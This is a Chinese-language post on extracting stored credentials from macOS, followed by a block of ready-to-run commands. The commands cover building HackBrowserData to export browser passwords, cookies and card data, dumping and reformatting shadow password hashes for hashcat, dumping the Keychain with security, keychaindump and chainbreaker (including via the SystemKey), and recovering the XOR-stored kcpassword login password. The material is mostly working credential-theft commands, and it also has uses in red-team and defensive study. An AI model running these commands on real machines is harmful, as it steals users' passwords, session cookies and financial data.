$ git clone https://github.com/moonD4rk/HackBrowserData
$ cd HackBrowserData/cmd/hack-browser-data
$ CGO_ENABLED=1 go build
最近,我对Mac OSx中的密码存储产生了浓厚的兴趣,并在网上查找了大量相关资料。然而,我发现相关文章相对较少。因此,我决定将OSx中的提权问题放到另一篇文章中来讨论。在我个人的实验中,我使用了多台电脑进行了测试和模拟。本文将按照密码的分类来介绍如何获取不同类型的密码。
首先是浏览器密码,许多人习惯将密码保存在浏览器中,因此浏览器密码非常重要。我使用了一个名为HackBrowserData的工具,它可以导出浏览器数据,包括密码、历史记录、Cookie、书签、信用卡信息、下载记录、本地存储和浏览器插件。该工具支持主流浏览器,并且在MacOS上使用基于Chromium内核的浏览器时,需要输入当前用户的密码进行解密。下面是一些浏览器的支持情况:
- Google Chrome: 支持密码、Cookie、书签、历史记录
- Microsoft Edge: 支持密码、Cookie、书签、历史记录
- Brave: 支持密码、Cookie、书签、历史记录
- Opera: 支持密码、Cookie、书签、历史记录
- Vivaldi: 支持密码、Cookie、书签、历史记录
- Firefox: 支持密码、Cookie、书签、历史记录
对于Shadow Passwords(影子密码),它们与用户的配置一起存储在/var/db/dslocal/nodes/Default/users/目录下。可以使用以下一行命令来转储与用户相关的所有信息,包括哈希信息。此外,还有一些脚本可以将这些哈希转换为hashcat格式,以便进行破解。
钥匙串(Keychain)是OSx中的另一种密码存储方式。我使用了KeychainDump工具来提取钥匙串中的密码。需要注意的是,使用安全二进制文件转储解密后的密码时,可能会出现多个提示,要求用户允许此操作。
另一个工具是Chainbreaker,它可以可靠地从OSX钥匙串中提取各种类型的信息。它需要使用钥匙串解锁密码、通过volafox或volatility获取的主密钥,或者像SystemKey这样的解锁文件。如果没有这些解锁钥匙串的方法,Chainbreaker将显示所有其他可用信息。
此外,还有一个名为kcpassword的文件,它保存了用户登录密码。但前提是系统所有者启用了自动登录。该文件中的密码是通过与密钥异或的方式进行存储的。如果用户密码比密钥长,密钥将被复用。因此,使用适当的脚本可以轻松恢复密码。
总结一下,上述测试的大部分方法在较新的OSx系统上可能无法使用。如果您想在新的OSx系统上使用这些方法,您需要了解系统的更新内容和变化。
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[_]*"); do plutil -extract name.0 raw $i | awk "{printf $0":$ml$"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf "$"$0}"; fi; done; echo ""; done'
#security
secuirty dump-trust-settings [-s] [-d] #List certificates
security list-keychains #List keychain dbs
security list-smartcards #List smartcards
security dump-keychain | grep -A 5 "keychain" | grep -v "version" #List keychains entries
security dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root)
sudo vmmap <securityd PID> | grep MALLOC_TINY
sudo ./keychaindump
#Dump all keys of the keychain (without the passwords)
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain
# First, get the keychain decryption key
# To get this decryption key you need to be root and SIP must be disabled
hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo
## Use the previous key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
# Get the keychain hash
python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain
# Crack it with hashcat
hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
# Use the key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
# Unformtunately volafox isn't working with the latest versions of MacOS
python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump
#Try to extract the passwords using the extracted keychain passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
#Prompt to ask for the password
python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db